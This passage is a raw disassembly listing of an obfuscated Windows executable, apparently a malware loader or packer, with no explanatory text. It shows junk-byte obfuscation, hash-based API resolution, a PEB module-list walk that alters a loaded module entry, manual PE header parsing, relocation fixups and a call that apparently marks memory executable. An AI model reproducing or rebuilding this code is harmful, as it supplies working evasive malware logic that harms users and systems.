--------------------------------------------------------------------------- locret_402210: ; CODE XREF: sub_401D74+487j leave jmp short locret_402214 ; --------------------------------------------------------------------------- db 2 ; --------------------------------------------------------------------------- locret_402214: ; CODE XREF: sub_401D74+49Dj retn 0Ch sub_401D74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp sub_40222B ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh, 2681688Bh db 67h, 14h, 0BDh ; =============== S U B R O U T I N E ======================================= sub_40222B proc near ; CODE XREF: sub_401D74+38Bp ; sub_401D74:loc_402187p ... var_8 = dword ptr -8 push ebp jmp short loc_402233 ; --------------------------------------------------------------------------- dw 3B2h db 80h, 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_402233: ; CODE XREF: sub_40222B+1j mov ebp, esp call sub_4034CE push 0F9764605h push edi jmp loc_40224F ; --------------------------------------------------------------------------- db 0Ah, 7Bh, 98h dd 4457D6F1h db 2Dh, 62h, 0F3h ; --------------------------------------------------------------------------- loc_40224F: ; CODE XREF: sub_40222B+15j mov edi, 50A8295Fh jmp short loc_40225C ; --------------------------------------------------------------------------- mov al, 29h scasb dec edi fsubr st(5), st loc_40225C: ; CODE XREF: sub_40222B+29j xor [esp+0Ch+var_8], edi pop edi jmp short loc_402265 ; --------------------------------------------------------------------------- db 0BAh db 6Bh ; --------------------------------------------------------------------------- loc_402265: ; CODE XREF: sub_40222B+36j push eax call near ptr sub_403516 push dword ptr [ebp+14h] jmp loc_402274 ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- loc_402274: ; CODE XREF: sub_40222B+43j push dword ptr [ebp+10h] jmp short loc_402281 ; --------------------------------------------------------------------------- db 61h, 86h, 47h dd 0E3129D74h db 0E0h ; --------------------------------------------------------------------------- loc_402281: ; CODE XREF: sub_40222B+4Cj push dword ptr [ebp+0Ch] jmp loc_40228C ; --------------------------------------------------------------------------- cdq pop esi aas loc_40228C: ; CODE XREF: sub_40222B+59j push dword ptr [ebp+8] call eax jmp locret_4022A4 ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h locret_4022A4: ; CODE XREF: sub_40222B+66j leave retn 10h sub_40222B endp ; --------------------------------------------------------------------------- jmp sub_4022AE ; --------------------------------------------------------------------------- push cs ; =============== S U B R O U T I N E ======================================= sub_4022AE proc near ; CODE XREF: sub_4019C4+20Ep ; .text:004022A8j var_C = dword ptr -0Ch push ebp jmp loc_4022C1 ; --------------------------------------------------------------------------- dd 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_4022C1: ; CODE XREF: sub_4022AE+1j mov ebp, esp jmp short loc_4022CE ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh db 3Bh, 58h ; --------------------------------------------------------------------------- loc_4022CE: ; CODE XREF: sub_4022AE+15j call sub_4034CE jmp loc_4022E3 ; --------------------------------------------------------------------------- mov cl, 96h pop ss add al, 0EDh and dh, [ebx+0F6EE970h] loc_4022E3: ; CODE XREF: sub_4022AE+25j push ecx push esi mov esi, 7E501662h jmp short loc_4022F7 ; --------------------------------------------------------------------------- dd 4621882Bh, 0D25D3407h db 0A3h, 0A0h, 59h ; --------------------------------------------------------------------------- loc_4022F7: ; CODE XREF: sub_4022AE+3Cj add esi, 0EB2A549Ch jmp short loc_402304 ; --------------------------------------------------------------------------- db 1Eh dd 2A15CCFFh ; --------------------------------------------------------------------------- loc_402304: ; CODE XREF: sub_4022AE+4Fj xchg esi, [esp+0Ch+var_C] jmp short loc_402312 ; --------------------------------------------------------------------------- db 1Bh, 0B8h, 91h dd 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- loc_402312: ; CODE XREF: sub_4022AE+59j push eax jmp short loc_402319 ; --------------------------------------------------------------------------- db 0D0h, 0C9h, 0CEh db 0EFh ; --------------------------------------------------------------------------- loc_402319: ; CODE XREF: sub_4022AE+65j call near ptr sub_403516 pop ecx jmp loc_40232E ; --------------------------------------------------------------------------- dd 0BDA85FCh, 0E7A601E8h db 94h, 3Dh ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_4022AE+71j push dword ptr [ebp+14h] push dword ptr [ebp+10h] jmp short loc_402346 ; --------------------------------------------------------------------------- dw 8332h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h db 0C4h, 0ADh ; --------------------------------------------------------------------------- loc_402346: ; CODE XREF: sub_4022AE+86j push dword ptr [ebp+0Ch] jmp loc_402351 ; --------------------------------------------------------------------------- dw 73E2h db 30h ; --------------------------------------------------------------------------- loc_402351: ; CODE XREF: sub_4022AE+9Bj push dword ptr [ebp+8] call eax leave jmp locret_402369 ; --------------------------------------------------------------------------- dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h db 1Dh ; --------------------------------------------------------------------------- locret_402369: ; CODE XREF: sub_4022AE+A9j retn 10h sub_4022AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40236C proc far ; CODE XREF: sub_4019C4:loc_401CA6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp jmp short loc_40237C ; --------------------------------------------------------------------------- db 92h, 63h, 60h dd 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- loc_40237C: ; CODE XREF: sub_40236C+3j call sub_4034CE push edi mov edi, 2F11890Eh jmp short loc_402394 ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx loc_402394: ; CODE XREF: sub_40236C+1Bj xor edi, 1524F951h jmp short loc_4023A2 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp loc_4023A2: ; CODE XREF: sub_40236C+2Ej xchg edi, [esp+4+var_4] jmp loc_4023AF ; --------------------------------------------------------------------------- dw 0F2FDh db 43h, 0C0h, 0F9h ; --------------------------------------------------------------------------- loc_4023AF: ; CODE XREF: sub_40236C+39j push eax jmp short loc_4023BC ; --------------------------------------------------------------------------- dw 9F3Eh dd 0BB4AB5ECh, 971631D8h ; --------------------------------------------------------------------------- loc_4023BC: ; CODE XREF: sub_40236C+44j call near ptr sub_403516 jmp short loc_4023CC ; --------------------------------------------------------------------------- db 84h dd 0F033A26Dh, 1C8FEE69h ; --------------------------------------------------------------------------- loc_4023CC: ; CODE XREF: sub_40236C+55j push [ebp+arg_8] jmp short loc_4023D7 ; --------------------------------------------------------------------------- db 25h, 0FAh, 0ABh db 8, 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_4023D7: ; CODE XREF: sub_40236C+63j push [ebp+arg_4] push [ebp+arg_0] call eax jmp locret_4023F2 ; --------------------------------------------------------------------------- dd 52DDB487h, 9ED92023h, 0AA954C7Fh db 9Bh, 38h ; --------------------------------------------------------------------------- locret_4023F2: ; CODE XREF: sub_40236C+73j leave jmp locret_402400 ; --------------------------------------------------------------------------- dd 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- locret_402400: ; CODE XREF: sub_40236C+87j retn 0Ch sub_40236C endp ; --------------------------------------------------------------------------- jmp short sub_402410 ; --------------------------------------------------------------------------- db 49h, 4Eh, 6Fh dd 8B5A057Ch, 67268168h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402410 proc near ; CODE XREF: sub_40141A+3E4p ; .text:00402403j var_7E = dword ptr -7Eh var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp jmp short loc_40241C ; --------------------------------------------------------------------------- db 14h, 0BDh, 0B2h dd 0FEB98003h ; --------------------------------------------------------------------------- loc_40241C: ; CODE XREF: sub_402410+3j add esp, 0FFFFFFFCh push esi mov ecx, [ebp+arg_4] jmp loc_402434 ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h ; --------------------------------------------------------------------------- loc_402434: ; CODE XREF: sub_402410+13j mov esi, [ebp+arg_0] jmp loc_402446 ; --------------------------------------------------------------------------- dd 0AE29B0F3h, 0BAE5DC4Fh db 6Bh, 0C8h ; --------------------------------------------------------------------------- loc_402446: ; CODE XREF: sub_402410+27j add esi, [esi+3Ch] push ecx jmp short loc_402457 ; --------------------------------------------------------------------------- dd 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- cdq pop esi aas loc_402457: ; CODE XREF: sub_402410+3Aj push esi lea eax, [ebp+var_4] push eax jmp short loc_40246C ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h loc_40246C: ; CODE XREF: sub_402410+4Cj push 4 push edi mov edi, 30AC58F2h jmp loc_402485 ; --------------------------------------------------------------------------- db 0C5h, 1Ah, 4Bh dd 27E64128h, 0C3727DD4h ; --------------------------------------------------------------------------- inc eax loc_402485: ; CODE XREF: sub_402410+64j add edi, 0CF53AB0Eh jmp loc_4024A0 ; --------------------------------------------------------------------------- dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh ; --------------------------------------------------------------------------- loc_4024A0: ; CODE XREF: sub_402410+7Bj xchg edi, [esp+1Ch+var_1C] jmp loc_4024B3 ; --------------------------------------------------------------------------- dd 9C0F6EE9h, 882B7AA5h ; --------------------------------------------------------------------------- and [esi+7], eax loc_4024B3: ; CODE XREF: sub_402410+93j push [ebp+arg_0] call sub_40222B jmp short loc_4024C0 ; --------------------------------------------------------------------------- db 34h, 5Dh, 0D2h ; --------------------------------------------------------------------------- loc_4024C0: ; CODE XREF: sub_402410+ABj pop esi jmp loc_4024CF ; --------------------------------------------------------------------------- dw 0A0A3h dd 0CCFF1E59h db 15h, 2Ah, 1Bh ; --------------------------------------------------------------------------- loc_4024CF: ; CODE XREF: sub_402410+B1j pop ecx push edx mov edx, 8F74B440h jmp loc_4024E0 ; --------------------------------------------------------------------------- mul [ebp+ecx*8+var_7E] xchg eax, ebx loc_4024E0: ; CODE XREF: sub_402410+C6j add edx, 708B4CB8h jmp loc_4024F0 ; --------------------------------------------------------------------------- db 0D0h dd 0FCEFCEC9h ; --------------------------------------------------------------------------- loc_4024F0: ; CODE XREF: sub_402410+D6j xchg edx, [esp+0Ch+var_C] jmp short loc_402501 ; --------------------------------------------------------------------------- db 85h, 0DAh, 0Bh dd 0E7A601E8h, 83323D94h db 0 ; --------------------------------------------------------------------------- loc_402501: ; CODE XREF: sub_402410+E3j push ecx jmp short loc_402507 ; --------------------------------------------------------------------------- cmp [esi-21h], edi loc_402507: ; CODE XREF: sub_402410+F2j push esi jmp loc_40250E ; --------------------------------------------------------------------------- db 2Ch ; --------------------------------------------------------------------------- loc_40250E: ; CODE XREF: sub_402410+F8j call near ptr sub_402D93 mov word ptr [esi], 4550h pop esi jmp locret_402525 ; --------------------------------------------------------------------------- cmc mov bh, bl sbb [ecx+56h], dh xlat locret_402525: ; CODE XREF: sub_402410+109j leave retn 8 sub_402410 endp ; --------------------------------------------------------------------------- jmp near ptr sub_402537 ; --------------------------------------------------------------------------- dw 0ADC4h dd 0A93073E2h db 2Eh, 0CFh, 5Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402537 proc far ; CODE XREF: sub_4019C4:loc_401C64p ; .text:00402529j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi jmp short loc_40253F ; --------------------------------------------------------------------------- db 65h, 3Ah ; --------------------------------------------------------------------------- loc_40253F: ; CODE XREF: sub_402537+4j push edi push ebx mov esi, [ebp+arg_4] jmp loc_40254A ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_40254A: ; CODE XREF: sub_402537+Dj mov edx, [esi] jmp short loc_402555 ; --------------------------------------------------------------------------- dw 0E148h dd 1DF4C706h ; --------------------------------------------------------------------------- xchg eax, edx loc_402555: ; CODE XREF: sub_402537+15j xor eax, eax jmp loc_40256C ; --------------------------------------------------------------------------- dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h ; --------------------------------------------------------------------------- loc_40256C: ; CODE XREF: sub_402537+20j test edx, edx jbe loc_4025C5 jmp loc_402584 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h loc_402584: ; CODE XREF: sub_402537+3Dj mov ebx, [ebp+arg_0] jmp loc_402597 ; --------------------------------------------------------------------------- dd 0FD54A766h, 0F9C043F2h db 3Eh, 9Fh, 0ECh ; --------------------------------------------------------------------------- loc_402597: ; CODE XREF: sub_402537+50j mov edi, [ebp+arg_8] jmp loc_4025A5 ; --------------------------------------------------------------------------- db 0B5h dd 31D8BB4Ah ; --------------------------------------------------------------------------- push ss loc_4025A5: ; CODE XREF: sub_402537+63j ; sub_402537+82j mov ecx, [esi+eax*4+4] add [ebx+ecx], edi add ecx, ebx jmp loc_4025B4 ; --------------------------------------------------------------------------- xchg eax, edi loc_4025B4: ; CODE XREF: sub_402537+77j add eax, 1 cmp eax, edx jb loc_4025A5 jmp short loc_4025C5 ; --------------------------------------------------------------------------- db 84h, 6Dh, 0A2h db 33h ; --------------------------------------------------------------------------- loc_4025C5: ; CODE XREF: sub_402537+37j ; sub_402537+88j pop ebx pop edi pop esi jmp locret_4025D9 ; --------------------------------------------------------------------------- db 0F0h, 69h, 0EEh dd 0FA251C8Fh, 0C6A108ABh db 87h ; --------------------------------------------------------------------------- locret_4025D9: ; CODE XREF: sub_402537+91j leave loc_4025DA: ; CODE XREF: sub_4025E8+Cj jmp locret_4025E5 ; --------------------------------------------------------------------------- db 0B4h ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] and cl, bl locret_4025E5: ; CODE XREF: sub_402537:loc_4025DAj retn 0Ch sub_402537 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4025E8 proc near ; CODE XREF: sub_4019C4+24Cp push ebp jmp short loc_4025F6 ; --------------------------------------------------------------------------- db 9Eh dd 0AA954C7Fh, 7611389Bh ; --------------------------------------------------------------------------- ja short loc_4025DA loc_4025F6: ; CODE XREF: sub_4025E8+1j mov ebp, esp push edi mov edi, [ebp+8] jmp loc_402608 ; --------------------------------------------------------------------------- db 4Dh, 2, 13h dd 6F4E4950h ; --------------------------------------------------------------------------- loc_402608: ; CODE XREF: sub_4025E8+14j add edi, [edi+3Ch] jmp short loc_402610 ; --------------------------------------------------------------------------- jl short locret_402614 pop edx loc_402610: ; CODE XREF: sub_4025E8+23j mov eax, [edi+34h] pop edi locret_402614: ; CODE XREF: sub_4025E8+25j leave jmp short locret_402626 ; --------------------------------------------------------------------------- db 8Bh dd 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h ; --------------------------------------------------------------------------- locret_402626: ; CODE XREF: sub_4025E8+2Dj retn 4 sub_4025E8 endp ; =============== S U B R O U T I N E ======================================= sub_402629 proc near ; CODE XREF: sub_40141A:loc_4018DAp push ebp jmp short loc_402637 ; --------------------------------------------------------------------------- dd 0F1987B0Ah, 2D4457D6h db 62h, 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_402637: ; CODE XREF: sub_402629+1j mov ebp, esp push esi push edi jmp short loc_402643 ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp loc_402643: ; CODE XREF: sub_402629+12j mov eax, large fs:30h jmp loc_402652 ; --------------------------------------------------------------------------- dw 0C86Bh db 61h, 86h ; --------------------------------------------------------------------------- loc_402652: ; CODE XREF: sub_402629+20j mov eax, [eax+0Ch] mov edi, [eax+0Ch] jmp short loc_402667 ; --------------------------------------------------------------------------- dw 7447h dd 0E0E3129Dh, 0C3F5E99h ; --------------------------------------------------------------------------- push ebp push 5Bh loc_402667: ; CODE XREF: sub_402629+2Fj mov eax, [ebp+8] jmp short loc_40267A ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_40267A: ; CODE XREF: sub_402629+41j jmp loc_402693 ; --------------------------------------------------------------------------- loc_40267F: ; CODE XREF: sub_402629+6Dj mov edi, [edi] jmp short loc_402693 ; --------------------------------------------------------------------------- db 1Ah dd 0E641284Bh, 727DD427h, 0BE7940C3h db 1Fh, 6Ch, 35h ; --------------------------------------------------------------------------- loc_402693: ; CODE XREF: sub_402629:loc_40267Aj ; sub_402629+58j cmp eax, [edi+18h] jnz loc_40267F mov eax, [ebp+0Ch] jmp short loc_4026A4 ; --------------------------------------------------------------------------- db 0CAh, 3Bh, 58h ; --------------------------------------------------------------------------- loc_4026A4: ; CODE XREF: sub_402629+76j mov [edi+1Ch], eax jmp short loc_4026B0 ; --------------------------------------------------------------------------- db 0B1h, 96h, 17h dd 0B322ED04h ; --------------------------------------------------------------------------- loc_4026B0: ; CODE XREF: sub_402629+7Ej pop edi pop esi jmp short locret_4026B7 ; --------------------------------------------------------------------------- db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- locret_4026B7: ; CODE XREF: sub_402629+89j leave jmp short locret_4026BD ; --------------------------------------------------------------------------- dw 9C0Fh ; --------------------------------------------------------------------------- movsd locret_4026BD: ; CODE XREF: sub_402629+8Fj retn 8 sub_402629 endp ; =============== S U B R O U T I N E ======================================= sub_4026C0 proc near ; CODE XREF: sub_4019C4:loc_401CD0p var_18 = dword ptr -18h push ebp jmp loc_4026D3 ; --------------------------------------------------------------------------- dw 2B7Ah dd 7462188h, 0A3D25D34h db 0A0h, 59h, 1Eh ; --------------------------------------------------------------------------- loc_4026D3: ; CODE XREF: sub_4026C0+1j mov ebp, esp add esp, 0FFFFFFFCh push ecx jmp loc_4026E0 ; --------------------------------------------------------------------------- dw 0CCFFh ; --------------------------------------------------------------------------- loc_4026E0: ; CODE XREF: sub_4026C0+19j push edi push esi jmp loc_4026EC ; --------------------------------------------------------------------------- adc eax, 91B81B2Ah loc_4026EC: ; CODE XREF: sub_4026C0+22j call sub_4034CE push 0ABE667ACh push ecx jmp short loc_4026FE ; --------------------------------------------------------------------------- db 0CDh, 82h, 93h ; --------------------------------------------------------------------------- ror cl, 1 loc_4026FE: ; CODE XREF: sub_4026C0+37j mov ecx, 23808F6h jmp loc_402709 ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- loc_402709: ; CODE XREF: sub_4026C0+43j xor [esp+1Ch+var_18], ecx pop ecx jmp loc_402719 ; --------------------------------------------------------------------------- db 0EFh ; --------------------------------------------------------------------------- cld test ebx, edx or ebp, eax loc_402719: ; CODE XREF: sub_4026C0+4Ej push eax call near ptr sub_403516 jmp short loc_402726 ; --------------------------------------------------------------------------- db 1, 0A6h, 0E7h db 94h, 3Dh ; --------------------------------------------------------------------------- loc_402726: ; CODE XREF: sub_4026C0+5Fj mov [ebp-4], eax xor eax, eax mov edx, [ebp+10h] jmp short loc_402734 ; --------------------------------------------------------------------------- dd 39008332h ; --------------------------------------------------------------------------- loc_402734: ; CODE XREF: sub_4026C0+6Ej test edx, 20000000h jz loc_402752 jmp short loc_40274F ; --------------------------------------------------------------------------- dw 0DF7Eh dd 0FB8AF52Ch, 0D7567118h db 0C4h, 0ADh, 0E2h ; --------------------------------------------------------------------------- loc_40274F: ; CODE XREF: sub_4026C0+80j or eax, 10h loc_402752: ; CODE XREF: sub_4026C0+7Aj test edx, 40000000h jz loc_402770 jmp short loc_40276D ; --------------------------------------------------------------------------- dd 2EA93073h, 3A655CCFh, 6E148EBh db 0C7h ; --------------------------------------------------------------------------- loc_40276D: ; CODE XREF: sub_4026C0+9Ej or eax, 2 loc_402770: ; CODE XREF: sub_4026C0+98j test edx, 80000000h jz loc_402786 or eax, 4 jmp loc_402786 ; --------------------------------------------------------------------------- db 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_402786: ; CODE XREF: sub_4026C0+B6j ; sub_4026C0+BFj cmp eax, 10h jnz loc_4027B0 mov edx, 10h jmp short loc_40279B ; --------------------------------------------------------------------------- dw 6392h ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_40279B: ; CODE XREF: sub_4026C0+D4j jmp loc_40284C ; --------------------------------------------------------------------------- jmp loc_4027B0 ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short near ptr loc_4027FB+2 mov dh, 0B7h and al, 8Dh loc_4027B0: ; CODE XREF: sub_4026C0+C9j ; sub_4026C0+E0j cmp eax, 12h jnz loc_4027DC jmp short loc_4027C2 ; --------------------------------------------------------------------------- db 42h dd 8E899053h db 0AFh, 0BCh ; --------------------------------------------------------------------------- loc_4027C2: ; CODE XREF: sub_4026C0+F9j mov edx, 20h jmp short loc_4027D1 ; --------------------------------------------------------------------------- db 45h, 9Ah, 0CBh ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp loc_4027D1: ; CODE XREF: sub_4026C0+107j jmp loc_40284C ; --------------------------------------------------------------------------- jmp loc_4027DC ; --------------------------------------------------------------------------- std loc_4027DC: ; CODE XREF: sub_4026C0+F3j ; sub_4026C0+116j cmp eax, 16h jnz loc_402802 mov edx, 40h jmp short loc_4027F6 ; --------------------------------------------------------------------------- dd 0F9C043F2h, 0B5EC9F3Eh db 4Ah, 0BBh ; --------------------------------------------------------------------------- loc_4027F6: ; CODE XREF: sub_4026C0+12Aj jmp loc_40284C ; --------------------------------------------------------------------------- loc_4027FB: ; CODE XREF: sub_4026C0+EAj jmp loc_402802 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] loc_402802: ; CODE XREF: sub_4026C0+11Fj ; sub_4026C0:loc_4027FBj cmp eax, 2 jnz loc_402821 jmp loc_402817 ; --------------------------------------------------------------------------- push ss xchg eax, edi test [ebp-5Eh], ch xor esi, eax loc_402817: ; CODE XREF: sub_4026C0+14Bj mov edx, 2 jmp loc_40284C ; --------------------------------------------------------------------------- loc_402821: ; CODE XREF: sub_4026C0+145j cmp eax, 6 jnz loc_40284C jmp short loc_40283C ; --------------------------------------------------------------------------- imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah push edx and esp, [eax] loc_40283C: ; CODE XREF: sub_4026C0+16Aj mov edx, 4 jmp short loc_40284C ; --------------------------------------------------------------------------- fstp dword ptr [esi-556AB381h] loc_402849: ; CODE XREF: sub_4026C0+1EEj wait cmp [ecx], dl loc_40284C: ; CODE XREF: sub_4026C0:loc_40279Bj ; sub_4026C0:loc_4027D1j ... sub esp, 4 lea eax, [esp+0] push eax jmp loc_402868 ; --------------------------------------------------------------------------- dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah ; --------------------------------------------------------------------------- loc_402868: ; CODE XREF: sub_4026C0+193j push edx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] jmp loc_402876 ; --------------------------------------------------------------------------- db 26h, 67h ; --------------------------------------------------------------------------- loc_402876: ; CODE XREF: sub_4026C0+1AFj call dword ptr [ebp-4] add esp, 4 jmp short loc_40288D ; --------------------------------------------------------------------------- dw 0BD14h dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc loc_40288D: ; CODE XREF: sub_4026C0+1BCj pop esi jmp short loc_402894 ; --------------------------------------------------------------------------- dd 622D4457h ; --------------------------------------------------------------------------- loc_402894: ; CODE XREF: sub_4026C0+1CEj pop edi jmp loc_4028A9 ; --------------------------------------------------------------------------- dw 0B0F3h ; --------------------------------------------------------------------------- sub [esi-451A23B1h], ebp imul ecx, eax, 61h xchg al, [edi+74h] popf loc_4028A9: ; CODE XREF: sub_4026C0+1D5j pop ecx jmp short locret_4028B2 ; --------------------------------------------------------------------------- adc ah, bl loopne loc_402849 pop esi aas locret_4028B2: ; CODE XREF: sub_4026C0+1EAj leave jmp locret_4028C5 ; --------------------------------------------------------------------------- dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h db 10h ; --------------------------------------------------------------------------- locret_4028C5: ; CODE XREF: sub_4026C0+1F3j retn 0Ch sub_4026C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028C8 proc near ; CODE XREF: sub_4019C4:loc_401B47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp jmp loc_4028D1 ; --------------------------------------------------------------------------- db 9 ; --------------------------------------------------------------------------- loc_4028D1: ; CODE XREF: sub_4028C8+3j push ecx push esi jmp short loc_4028E3 ; --------------------------------------------------------------------------- db 0Eh, 2Fh, 3Ch dd 284B1AC5h, 0D427E641h ; --------------------------------------------------------------------------- jge short loc_402954 retn ; --------------------------------------------------------------------------- loc_4028E3: ; CODE XREF: sub_4028C8+Bj push edi xor eax, eax jmp short loc_4028F8 ; --------------------------------------------------------------------------- dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_4028C8+1Ej mov ecx, [ebp+arg_4] mov edi, [ebp+arg_0] rep stosb jmp short loc_402911 ; --------------------------------------------------------------------------- dw 0E970h dd 0A59C0F6Eh, 21882B7Ah, 5D340746h db 0D2h ; --------------------------------------------------------------------------- loc_402911: ; CODE XREF: sub_4028C8+38j pop edi jmp loc_40291D ; --------------------------------------------------------------------------- mov ds:0FF1E59A0h, eax int 3 ; Trap to Debugger loc_40291D: ; CODE XREF: sub_4028C8+4Aj pop esi jmp short loc_40292C ; --------------------------------------------------------------------------- dd 0B81B2A15h, 64F7F691h, 0D09382CDh ; --------------------------------------------------------------------------- loc_40292C: ; CODE XREF: sub_4028C8+56j pop ecx jmp locret_402939 ; --------------------------------------------------------------------------- dw 0CEC9h dd 0DA85FCEFh db 0Bh ; --------------------------------------------------------------------------- locret_402939: ; CODE XREF: sub_4028C8+65j leave retn 8 sub_4028C8 endp ; =============== S U B R O U T I N E ======================================= sub_40293D proc far ; CODE XREF: sub_40141A+1p var_18 = byte ptr -18h var_14 = dword ptr -14h push ebp jmp short loc_40294B ; --------------------------------------------------------------------------- dd 0E7A601E8h, 83323D94h db 0, 39h, 7Eh ; --------------------------------------------------------------------------- loc_40294B: ; CODE XREF: sub_40293D+1j mov ebp, esp push esi push edi jmp loc_402961 ; --------------------------------------------------------------------------- loc_402954: ; CODE XREF: sub_4028C8+18j fild qword ptr ds:7118FB8Ah[esi*8] push esi xlat ; --------------------------------------------------------------------------- db 0C4h, 0ADh, 0E2h db 73h ; --------------------------------------------------------------------------- loc_402961: ; CODE XREF: sub_40293D+12j push ecx call sub_4034CE push 0F5FE686Ah push ecx jmp loc_40297B ; --------------------------------------------------------------------------- dw 5CCFh dd 48EB3A65h db 0E1h, 6, 0C7h ; --------------------------------------------------------------------------- loc_40297B: ; CODE XREF: sub_40293D+30j mov ecx, 5C200730h jmp loc_40298D ; --------------------------------------------------------------------------- db 0F4h, 1Dh, 92h dd 0DE196063h db 0BFh ; --------------------------------------------------------------------------- loc_40298D: ; CODE XREF: sub_40293D+43j xor dword ptr [esp+1Ch+var_18], ecx pop ecx jmp loc_402999 ; --------------------------------------------------------------------------- mov ebp, ss loc_402999: ; CODE XREF: sub_40293D+55j push eax call near ptr sub_403516 jmp loc_4029A6 ; --------------------------------------------------------------------------- db 0EAh, 0DBh ; --------------------------------------------------------------------------- loc_4029A6: ; CODE XREF: sub_40293D+62j mov edi, eax xor edx, edx loc_4029AA: ; CODE XREF: sub_40293D:loc_402AB9j mov esi, [ebp+8] jmp loc_4029BB ; --------------------------------------------------------------------------- dw 5178h ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop loc_4029BB: ; CODE XREF: sub_40293D+70j add esi, [esi+3Ch] add esi, 0F8h add esi, edx jmp loc_4029D2 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_4029D2: ; CODE XREF: sub_40293D+89j mov ecx, [esi+8] jmp short loc_4029DD ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_4029DD: ; CODE XREF: sub_40293D+98j mov esi, [esi+0Ch] jmp short loc_4029E8 ; --------------------------------------------------------------------------- dw 43F2h ; --------------------------------------------------------------------------- sar cl, 3Eh lahf loc_4029E8: ; CODE XREF: sub_40293D+A3j add esi, [ebp+8] push edx sub esp, 4 jmp loc_402A03 ; --------------------------------------------------------------------------- dd 0BB4AB5ECh, 971631D8h, 33A26D84h db 0F0h, 69h, 0EEh ; --------------------------------------------------------------------------- loc_402A03: ; CODE XREF: sub_40293D+B2j lea eax, [esp+0] jmp short loc_402A0D ; --------------------------------------------------------------------------- dd 0FA251C8Fh ; --------------------------------------------------------------------------- stosd loc_402A0D: ; CODE XREF: sub_40293D+C9j push eax jmp loc_402A1D ; --------------------------------------------------------------------------- db 8 dd 0B487C6A1h, 202352DDh db 0D9h ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_40293D+D1j push 40h push ecx push esi jmp short loc_402A2F ; --------------------------------------------------------------------------- db 9Eh dd 0AA954C7Fh, 7611389Bh db 77h, 0E4h, 4Dh ; --------------------------------------------------------------------------- loc_402A2F: ; CODE XREF: sub_40293D+E4j call edi jmp loc_402A46 ; --------------------------------------------------------------------------- dw 1302h dd 6F4E4950h, 8B5A057Ch, 67268168h ; --------------------------------------------------------------------------- adc al, 0BDh loc_402A46: ; CODE XREF: sub_40293D+F4j add esp, 4 mov esi, ebx jmp loc_402A5E ; --------------------------------------------------------------------------- dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc push edi loc_402A5E: ; CODE XREF: sub_40293D+10Ej add esi, [esi+3Ch] jmp short loc_402A6D ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- sub eax, 29B0F362h scasb dec edi fsubr st(5), st 